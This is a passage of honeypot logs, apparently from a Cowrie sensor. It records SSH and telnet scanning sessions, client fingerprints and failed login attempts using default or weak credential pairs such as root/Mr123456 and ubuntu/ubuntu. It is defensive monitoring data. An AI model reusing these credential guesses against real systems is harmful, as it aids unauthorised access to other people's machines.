AAAAB3NzaC1yc2EAAAADAQABAAACAQDBJvFSMbBGV6hzFXsHTXy0BlhWn00o3Kq11p4ETPgEtwyRi5kpCI5IcotREhZPyahNPUA6mrqDJnVi10PvpxscCfM0kbG2bKs9ff0dKK0C6hKnQUHA5iBB1sqdHUqDYgP1ztIrsF03YQucVWGliCTYMGuTKTwCj8893J2cjd5DH6Up6YOP478XKLI9J9zx6z/pIflbCLy5WPk2WEfqjAd/V4nuqhbr9gUukKYlyZboIIcOtgrk36iMfi+ZWVXaZkUkqnb9GXh3yzeEIqI+rjnyxB1XEdst3Cx6swwzHF1E6vFbD2pRZwRhitsYCJdUa2/p0p8loq45jsJzjXXDthiI7GsDj6U7W+0JcT7teOb/EulOsLOOTDwd1q0INAWlud5suK6pnzBLXQDMEhZvxBM3j1FSExK/n1jjbds/PBmcNpIILcy7z6KHvuGWKPrzeGDx19cwNx8cQwflY3wTGm6hymD9g2K8xD/d5diPqS/vYmgw//yHt/2kZuaeLQp38gPJQyyRgS5JRph/rXNu8K2b8eaxhOUfcAny/OmsknQTgg4KWS2TfFroR6ac80z7yGCaUDFAa9ZgWRF7JO4jKtab2K1K2N4i4UiuQfS/BF5JzM2pXgFwnj35Pha3GhpBsGWfzzpeeXJyJnvdpx7RDUywQiugiEZjtG9sWfHD49JkRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:22:30:6f:22:06:54:d5:c2:eb:5b:c7:35:8a:bb:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.597364Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:22:30:6f:22:06:54:d5:c2:eb:5b:c7:35:8a:bb:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBJvFSMbBGV6hzFXsHTXy0BlhWn00o3Kq11p4ETPgEtwyRi5kpCI5IcotREhZPyahNPUA6mrqDJnVi10PvpxscCfM0kbG2bKs9ff0dKK0C6hKnQUHA5iBB1sqdHUqDYgP1ztIrsF03YQucVWGliCTYMGuTKTwCj8893J2cjd5DH6Up6YOP478XKLI9J9zx6z/pIflbCLy5WPk2WEfqjAd/V4nuqhbr9gUukKYlyZboIIcOtgrk36iMfi+ZWVXaZkUkqnb9GXh3yzeEIqI+rjnyxB1XEdst3Cx6swwzHF1E6vFbD2pRZwRhitsYCJdUa2/p0p8loq45jsJzjXXDthiI7GsDj6U7W+0JcT7teOb/EulOsLOOTDwd1q0INAWlud5suK6pnzBLXQDMEhZvxBM3j1FSExK/n1jjbds/PBmcNpIILcy7z6KHvuGWKPrzeGDx19cwNx8cQwflY3wTGm6hymD9g2K8xD/d5diPqS/vYmgw//yHt/2kZuaeLQp38gPJQyyRgS5JRph/rXNu8K2b8eaxhOUfcAny/OmsknQTgg4KWS2TfFroR6ac80z7yGCaUDFAa9ZgWRF7JO4jKtab2K1K2N4i4UiuQfS/BF5JzM2pXgFwnj35Pha3GhpBsGWfzzpeeXJyJnvdpx7RDUywQiugiEZjtG9sWfHD49JkRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.601598Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:28:a0:2c:ff:cc:b6:45:bc:20:3b:7b:d6:b7:b0:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWv6RNe3IaMlVr4gX2Z7ACpodSmuBr823r/hsYKo4IdIseGRsY8ffhEQPt7VZzcrDHmgqpl1HH91280e+1d/96yspBMlofuH/AB6mlTkZ8Dmon8BS7MAS06fy0U3b6w0Slbtsf1DZguIo6rllpc9fb575gpRytKD7tDZ+P4KMNqnz0B7OIViuvRNNBIwc0Qm1R6KRb8cqhKyLj9SHMnXlVmclC8u7s9Y2Gz0gDmQFbWW/nDGbKcfDhaozL6CrkGOCFVSapdlgjpjQzmn0wbyY3ssm5hNzhGhNrmSc3YVJ3HS+Gq4gYBcf0sFUvMLUK02Eaz5N3I+H3a5WGyILYrjU5E71iL25IiNPRd+znR9JzJ6gkgaYSF1nFncHs/GSG97DcHA2gv6keNtWhRRiiXBGaIeuvwvlecD/VY4nd9suMHLLj6NxY2kxr7cM7lnmNHSkr7+fKnUEE8X7YApIrKTs+CHn2Au1NmEojf8pjKMmcryC1gokSyV5gTnOtBkS4ajHFNUwvsX8PmKsOpHwayULPuDiAy0qyhxIMcNzOV7oplNYxSFIia1RfCnzrBJRNcOdxKP92m28Ml1z4S9vtRj5ErBma5+HNi0x5kzMCYRXbqCDxcuNH9uSjYeQPnutSlntea+fz0hyM/X8JmMKUE1yFHYI9CSoPlgGXCy/Eg0vgLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:28:a0:2c:ff:cc:b6:45:bc:20:3b:7b:d6:b7:b0:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.691512Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:28:a0:2c:ff:cc:b6:45:bc:20:3b:7b:d6:b7:b0:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWv6RNe3IaMlVr4gX2Z7ACpodSmuBr823r/hsYKo4IdIseGRsY8ffhEQPt7VZzcrDHmgqpl1HH91280e+1d/96yspBMlofuH/AB6mlTkZ8Dmon8BS7MAS06fy0U3b6w0Slbtsf1DZguIo6rllpc9fb575gpRytKD7tDZ+P4KMNqnz0B7OIViuvRNNBIwc0Qm1R6KRb8cqhKyLj9SHMnXlVmclC8u7s9Y2Gz0gDmQFbWW/nDGbKcfDhaozL6CrkGOCFVSapdlgjpjQzmn0wbyY3ssm5hNzhGhNrmSc3YVJ3HS+Gq4gYBcf0sFUvMLUK02Eaz5N3I+H3a5WGyILYrjU5E71iL25IiNPRd+znR9JzJ6gkgaYSF1nFncHs/GSG97DcHA2gv6keNtWhRRiiXBGaIeuvwvlecD/VY4nd9suMHLLj6NxY2kxr7cM7lnmNHSkr7+fKnUEE8X7YApIrKTs+CHn2Au1NmEojf8pjKMmcryC1gokSyV5gTnOtBkS4ajHFNUwvsX8PmKsOpHwayULPuDiAy0qyhxIMcNzOV7oplNYxSFIia1RfCnzrBJRNcOdxKP92m28Ml1z4S9vtRj5ErBma5+HNi0x5kzMCYRXbqCDxcuNH9uSjYeQPnutSlntea+fz0hyM/X8JmMKUE1yFHYI9CSoPlgGXCy/Eg0vgLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.695155Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.784957Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.39.231.216","src_port":2415,"dst_ip":"10.17.0.5","dst_port":23,"session":"872c30a69321","protocol":"telnet","message":"New connection: 51.39.231.216:2415 (10.17.0.5:23) [session: 872c30a69321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:34.425591Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60542,"dst_ip":"10.17.0.5","dst_port":22,"session":"369acfa748b1","protocol":"ssh","message":"New connection: 2.57.122.208:60542 (10.17.0.5:22) [session: 369acfa748b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:35.416692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:35.544949Z","src_ip":"2.57.122.208","session":"369acfa748b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:35.549819Z","src_ip":"2.57.122.208","session":"369acfa748b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:37.506866Z","src_ip":"2.57.122.208","session":"369acfa748b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.78012228012085,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:37.847094Z","src_ip":"113.19.183.114","session":"2bb1ef84b246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:38.989342Z","src_ip":"2.57.122.208","session":"369acfa748b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.82517671585083,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:47.250664Z","src_ip":"51.39.231.216","session":"872c30a69321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00535249710083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:51.080977Z","src_ip":"197.91.179.78","session":"28ae928a9526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":35000,"dst_ip":"10.17.0.5","dst_port":22,"session":"274e2a78d4e1","protocol":"ssh","message":"New connection: 45.78.230.231:35000 (10.17.0.5:22) [session: 274e2a78d4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:14:43.945646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:14:43.949955Z","src_ip":"45.78.230.231","session":"274e2a78d4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:14:44.181716Z","src_ip":"45.78.230.231","session":"274e2a78d4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"icui4cu","message":"login attempt [root/icui4cu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:14:54.522381Z","src_ip":"45.78.230.231","session":"274e2a78d4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:14:55.757204Z","src_ip":"45.78.230.231","session":"274e2a78d4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:15:01.270988Z","src_ip":"45.78.230.231","session":"bbca13642150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":37334,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72c36026915","protocol":"ssh","message":"New connection: 45.78.230.231:37334 (10.17.0.5:22) [session: b72c36026915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:26.812393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:26.816883Z","src_ip":"45.78.230.231","session":"b72c36026915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:29.920317Z","src_ip":"45.78.230.231","session":"b72c36026915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mr123456","message":"login attempt [root/Mr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:31.777232Z","src_ip":"45.78.230.231","session":"b72c36026915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:34.550627Z","src_ip":"45.78.230.231","session":"b72c36026915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38324,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3c178ccb60d","protocol":"ssh","message":"New connection: 2.57.122.208:38324 (159.203.135.109:22) [session: e3c178ccb60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:52.983580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:53.230264Z","src_ip":"2.57.122.208","session":"e3c178ccb60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:53.434159Z","src_ip":"2.57.122.208","session":"e3c178ccb60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:54.923980Z","src_ip":"2.57.122.208","session":"e3c178ccb60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:16:56.183420Z","src_ip":"2.57.122.208","session":"e3c178ccb60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40334,"dst_ip":"10.17.0.5","dst_port":22,"session":"43f05c1fb958","protocol":"ssh","message":"New connection: 2.57.122.208:40334 (10.17.0.5:22) [session: 43f05c1fb958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:17:33.275525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:17:33.437456Z","src_ip":"2.57.122.208","session":"43f05c1fb958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:17:33.441475Z","src_ip":"2.57.122.208","session":"43f05c1fb958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:17:34.620072Z","src_ip":"2.57.122.208","session":"43f05c1fb958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:17:35.976748Z","src_ip":"2.57.122.208","session":"43f05c1fb958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":60216,"dst_ip":"10.17.0.5","dst_port":22,"session":"045f2b2ee94f","protocol":"ssh","message":"New connection: 45.78.230.231:60216 (10.17.0.5:22) [session: 045f2b2ee94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:18:10.625220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:18:10.631266Z","src_ip":"45.78.230.231","session":"045f2b2ee94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:18:10.862756Z","src_ip":"45.78.230.231","session":"045f2b2ee94f","protocol":"ssh"}
